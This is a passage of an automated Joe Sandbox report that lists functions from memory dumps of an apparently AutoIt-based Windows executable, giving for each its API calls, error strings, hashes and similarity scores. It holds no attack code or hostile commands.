Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 87a98ab4f77f0d3fec6f0d8f83887b5ec44708487b3e162d553a5faf3d89ff34
Instruction ID: fda035ffbc755e9b7ae9aabebd4edf0ed6b81a3062c308f632feb057ea846190
Opcode Fuzzy Hash: 87a98ab4f77f0d3fec6f0d8f83887b5ec44708487b3e162d553a5faf3d89ff34
Instruction Fuzzy Hash: D121DA636C0B05B7D21595105E82FFA739CEF6A388F456022FD067E741F720FD1181A5

Uniqueness

Uniqueness Score: -1.00%

Function 00EC4FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00EC5007
NULL Pointer assignment, xrefs: 00EC502E, 00EC5383

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 8774c203ff527fd636b2c6a3e20a1941dbf707168a18225c0f3f0ce5e6793a95
Instruction ID: 1e86bbe561bc673312c02fc4999c90f1698d9087d93bf410a067c62f713dbf0d
Opcode Fuzzy Hash: 8774c203ff527fd636b2c6a3e20a1941dbf707168a18225c0f3f0ce5e6793a95
Instruction Fuzzy Hash: FFD1AE72A0060A9FDF14CF98C981FAEB7B5BF48344F14906DE915BB281D772E986CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00E81522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000), ref: 00E815CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000), ref: 00E81651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00E817FB), ref: 00E816E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000), ref: 00E816FB

Part of subcall function 00E73820: RtlAllocateHeap.NTDLL(00000000,?,00F11444,?,00E5FDF5,?,?,00E4A976,00000010,00F11440,00E413FC,?,00E413C6,?,00E41129), ref: 00E73852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000), ref: 00E81777
__freea.LIBCMT ref: 00E817A2
__freea.LIBCMT ref: 00E817AE

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 6f086f8591e48f68ac799a6befb344f564a33e25fc80df3a074a84fa0b24a662
Instruction ID: 11a2eb21246f0f0dc470b831a69aeae5bbb9861f86c31c94da705990384db0db
Opcode Fuzzy Hash: 6f086f8591e48f68ac799a6befb344f564a33e25fc80df3a074a84fa0b24a662
Instruction Fuzzy Hash: 4991B371E002169ADB20AF74D841AEE7BF9EF49354F18669AE80DF7181D735CC42CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EC4523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00EC4648
VariantInit.OLEAUT32(?), ref: 00EC4749
VariantClear.OLEAUT32 ref: 00EC4753
VariantClear.OLEAUT32 ref: 00EC47B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00EC472C
Null Object assignment in FOR..IN loop, xrefs: 00EC45D8, 00EC4706, 00EC47BE

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: b016fdf763cd5482a2561356bf4b246a93168c42827e7c4e43e0cd875948bde1
Instruction ID: 6f7d13fc56f42cabc31211c69096c2a5cf8e90b28dcb1bc5e00a930786e8469e
Opcode Fuzzy Hash: b016fdf763cd5482a2561356bf4b246a93168c42827e7c4e43e0cd875948bde1
Instruction Fuzzy Hash: 1091ADB0A00219ABDF20CFA4C954FAEBBB8EF46714F10955EF505BB2C0D7719946CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EB1187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 00EB125C
SafeArrayAccessData.OLEAUT32 ref: 00EB1284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 00EB12A8
SafeArrayAccessData.OLEAUT32 ref: 00EB12D8
SafeArrayAccessData.OLEAUT32 ref: 00EB135F
SafeArrayAccessData.OLEAUT32 ref: 00EB13C4
SafeArrayAccessData.OLEAUT32 ref: 00EB1430

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: b8ac6cc66389ba997798a86999b0885c221b0b2a43c6ed857eb3911350a25d8f
Instruction ID: f32a3651642e62ab668c47e07d71f204be6c88a9943d20c0f46bfeac11c5ac5b
Opcode Fuzzy Hash: b8ac6cc66389ba997798a86999b0885c221b0b2a43c6ed857eb3911350a25d8f
Instruction Fuzzy Hash: F191DD71A00219AFDB009FA8D8A4BEFB7F5FF45325F1050A9E910FB2A1D774A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00E5948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: a3dc267ffcffdee285cf28971c9187ac05f76f1311874feb813d93315e5de164
Instruction ID: 0e453b04db58b4d5fd563277b4b9d1e65502f9a7c9c2efbed517fef6e045b4ca
Opcode Fuzzy Hash: a3dc267ffcffdee285cf28971c9187ac05f76f1311874feb813d93315e5de164
Instruction Fuzzy Hash: 1A914871D00219EFCB10CFA9CC84AEEBBB8FF48320F149555E915B7252D378A955CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EC3947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00EC396B
CharUpperBuffW.USER32(?,?), ref: 00EC3A7A
_wcslen.LIBCMT ref: 00EC3A8A
VariantClear.OLEAUT32 ref: 00EC3C1F

Part of subcall function 00EB0CDF: VariantInit.OLEAUT32(00000000), ref: 00EB0D1F
Part of subcall function 00EB0CDF: VariantCopy.OLEAUT32 ref: 00EB0D28
Part of subcall function 00EB0CDF: VariantClear.OLEAUT32 ref: 00EB0D34

Strings

Incorrect Parameter format, xrefs: 00EC39A6, 00EC3BA1
AUTOIT.ERROR, xrefs: 00EC3A80, 00EC3A85

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 46173c3f5c924353c4c125bc43a581e26bc242be226a33525d385cc9a129431c
Instruction ID: cc4406ed9777d18d69dcd13f6d30c68630b009058372202029bcfe71564db454
Opcode Fuzzy Hash: 46173c3f5c924353c4c125bc43a581e26bc242be226a33525d385cc9a129431c
Instruction Fuzzy Hash: 21915A75A083019FC704EF24C580A6AB7E5FF89314F14996DF889AB351DB31EE46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EC4BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00EA000E: CLSIDFromProgID.OLE32 ref: 00EA002B
Part of subcall function 00EA000E: ProgIDFromCLSID.OLE32(?,00000000), ref: 00EA0046
Part of subcall function 00EA000E: lstrcmpiW.KERNEL32 ref: 00EA0054
Part of subcall function 00EA000E: CoTaskMemFree.OLE32 ref: 00EA0064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 00EC4C51
_wcslen.LIBCMT ref: 00EC4D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00EC4DCF
CoTaskMemFree.OLE32 ref: 00EC4DDA

Strings

NULL Pointer assignment, xrefs: 00EC4E23, 00EC4E52

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: b42a7e126d594fe774e103495b45504c0fccda28c9ae7a06134cd3d9b5fb171a
Instruction ID: 7efb8c24e2c97cb7b04f166fdae6ef54f90bdab476d32a45d15506d1e6acc57f
Opcode Fuzzy Hash: b42a7e126d594fe774e103495b45504c0fccda28c9ae7a06134cd3d9b5fb171a
Instruction Fuzzy Hash: DD9127B1D002199FDF14DFA4D890EEEBBB8BF08314F10516AE915BB291DB315A45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00ED20FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32 ref: 00ED2183
GetMenuItemCount.USER32(00000000), ref: 00ED21B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00ED21DD
_wcslen.LIBCMT ref: 00ED2213
GetMenuItemID.USER32(?,?), ref: 00ED224D
GetSubMenu.USER32 ref: 00ED225B

Part of subcall function 00EA3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00EA3A57
Part of subcall function 00EA3A3D: GetCurrentThreadId.KERNEL32 ref: 00EA3A5E
Part of subcall function 00EA3A3D: AttachThreadInput.USER32(00000000,?,00000000), ref: 00EA3A65

PostMessageW.USER32 ref: 00ED22E3

Part of subcall function 00EAE97B: Sleep.KERNEL32 ref: 00EAE9F3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 107ef2100d209f2fef3b7232ceaaf20d7fe601f976f12f3f358f8b39fb33b704
Instruction ID: 0de30793a11257d6f62fff956cdd1e6efde87e5d80f42686aa8eac7ddb070936
Opcode Fuzzy Hash: 107ef2100d209f2fef3b7232ceaaf20d7fe601f976f12f3f358f8b39fb33b704
Instruction Fuzzy Hash: A8719D35A00205AFCB10DF64C841AAEB7F5EF98310F14945EEA26FB351DB35EE428B90

Uniqueness

Uniqueness Score: -1.00%

Function 00EAAEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00EAAEF9
GetKeyboardState.USER32(?), ref: 00EAAF0E
SetKeyboardState.USER32(?), ref: 00EAAF6F
PostMessageW.USER32 ref: 00EAAF9D
PostMessageW.USER32 ref: 00EAAFBC
PostMessageW.USER32 ref: 00EAAFFD
PostMessageW.USER32 ref: 00EAB020

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: d3742b4b2d6e4adced2cae38e52fbe23e7872cc49037d31ba46e06b0cbc4ba06
Instruction ID: 64a21f1a8dd9cef2de80d49d4351d7782b9e8f8bbdde54ad4533e17f07b9ce19
Opcode Fuzzy Hash: d3742b4b2d6e4adced2cae38e52fbe23e7872cc49037d31ba46e06b0cbc4ba06
Instruction Fuzzy Hash: 2851A1A06047D57DFB364234CC45BBABEE95B0B308F0C959AE1E9694D3C398B8C8D761

Uniqueness

Uniqueness Score: -1.00%

Function 00EAACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00EAAD19
GetKeyboardState.USER32(?), ref: 00EAAD2E
SetKeyboardState.USER32(?), ref: 00EAAD8F
PostMessageW.USER32 ref: 00EAADBB
PostMessageW.USER32 ref: 00EAADD8
PostMessageW.USER32 ref: 00EAAE17
PostMessageW.USER32 ref: 00EAAE38

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: cd6c720ed9dbd346596bca661c55961ea46415057befb20c3c27c122e0934c1f
Instruction ID: 0bb846b9dcbcafe2b78f4a2e6e01b234125d7dd69c170b7bbffdad4ee7b587c0
Opcode Fuzzy Hash: cd6c720ed9dbd346596bca661c55961ea46415057befb20c3c27c122e0934c1f
Instruction Fuzzy Hash: C651B1A15047D53DFB3782248C55B7ABEE85B4B308F0CA499E1D56E8C2D394FC88E762

Uniqueness

Uniqueness Score: -1.00%

Function 00E7542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 00E75470
__fassign.LIBCMT ref: 00E754EB
__fassign.LIBCMT ref: 00E75506
WideCharToMultiByte.KERNEL32 ref: 00E7552C
WriteFile.KERNEL32 ref: 00E7554B
WriteFile.KERNEL32 ref: 00E75584

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: b1d2584cd52ba57a4b2f81552fd9a4ddb0389c3d9d7cd78d477568355f725ea2
Instruction ID: 08ea1f466b4951d206d57d74364a43a5c3d74fc5251e306170f658535b1c9d7d
Opcode Fuzzy Hash: b1d2584cd52ba57a4b2f81552fd9a4ddb0389c3d9d7cd78d477568355f725ea2
Instruction Fuzzy Hash: A951C371A006499FDB10CFA8D845AEEBBF9EF09300F14915AF959F7291E7709A41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00EC10B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00EC307A
Part of subcall function 00EC304E: _wcslen.LIBCMT ref: 00EC309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00EC1112
WSAGetLastError.WSOCK32 ref: 00EC1121
WSAGetLastError.WSOCK32 ref: 00EC11C9
closesocket.WSOCK32(00000000), ref: 00EC11F9

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: b3d58cc91b204d878eac776423f070a1d24fd37a0032fef4d6c23c93e09f3784
Instruction ID: c6ee3c473a1b174a36258815ca5a08abbf64193c667d71cf6c4ed9a0d421e5e8
Opcode Fuzzy Hash: b3d58cc91b204d878eac776423f070a1d24fd37a0032fef4d6c23c93e09f3784
Instruction Fuzzy Hash: 31412631201205AFDB109F24D944FA9B7E9EF42368F188099FD15BB282C779ED46CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00EACF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EADDE0: GetFullPathNameW.KERNEL32 ref: 00EADDFD

Part of subcall function 00EADDE0: GetFullPathNameW.KERNEL32 ref: 00EADE16

lstrcmpiW.KERNEL32 ref: 00EACF45
MoveFileW.KERNEL32 ref: 00EACF7F
_wcslen.LIBCMT ref: 00EAD005
_wcslen.LIBCMT ref: 00EAD01B
SHFileOperationW.SHELL32(?), ref: 00EAD061

Strings

\*.*, xrefs: 00EACFF3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 43f4a9803427c3664b6eb5cfb1c8234cdb01baa90abffc9ba1204462a19c1b0d
Instruction ID: bdb834b0035608c79aa57c4a8aff04b30b679d09253491f862cd5c4f839c9b27
Opcode Fuzzy Hash: 43f4a9803427c3664b6eb5cfb1c8234cdb01baa90abffc9ba1204462a19c1b0d
Instruction Fuzzy Hash: 854163759452199EDF12EBA4DD81ADEB7F9AF0D380F1010E6E505FF142EA34BA48CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00ED2DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00ED2E1C
GetWindowLongW.USER32(00000000,000000F0), ref: 00ED2E4F
GetWindowLongW.USER32(00000000,000000F0), ref: 00ED2E84
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00ED2EB6
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00ED2EE0
GetWindowLongW.USER32(00000000,000000F0), ref: 00ED2EF1
SetWindowLongW.USER32 ref: 00ED2F0B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: c1e0075132796b7b62d1594597beceb35ed3730008d737b31ed8f1b40e8913f8
Instruction ID: cffaae7062b80b5f2377fe1877905cc5de853d2bb572238bc47f7e64c5d4331e
Opcode Fuzzy Hash: c1e0075132796b7b62d1594597beceb35ed3730008d737b31ed8f1b40e8913f8
Instruction Fuzzy Hash: F53137306451459FEB22CF19DC84FA537E0FBAAB14F1551AAFA10AB2B1CB71E841EB01

Uniqueness

Uniqueness Score: -1.00%

Function 00EA7726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00EA7769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00EA778F
SysAllocString.OLEAUT32 ref: 00EA7792
SysAllocString.OLEAUT32 ref: 00EA77B0
SysFreeString.OLEAUT32(?), ref: 00EA77B9
StringFromGUID2.OLE32 ref: 00EA77DE
SysAllocString.OLEAUT32 ref: 00EA77EC

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 482f9c2d9fd6a5e6815b22aa6479ffa8316d7707fc7b44b647ee5d215d666832
Instruction ID: 5381c3f32a7bfa77aa367c67d9c6589896e3728b2c8d3e7874a64ec91569e37d
Opcode Fuzzy Hash: 482f9c2d9fd6a5e6815b22aa6479ffa8316d7707fc7b44b647ee5d215d666832
Instruction Fuzzy Hash: BD21DE3660921AAFDB00DFA8DC88CFB33ECEB0A3A47108026FA54EB150D670EC45C760

Uniqueness

Uniqueness Score: -1.00%

Function 00EA77FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00EA7842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00EA7868
SysAllocString.OLEAUT32 ref: 00EA786B
SysAllocString.OLEAUT32 ref: 00EA788C
SysFreeString.OLEAUT32 ref: 00EA7895
StringFromGUID2.OLE32 ref: 00EA78AF
SysAllocString.OLEAUT32 ref: 00EA78BD

Memory Dump Source

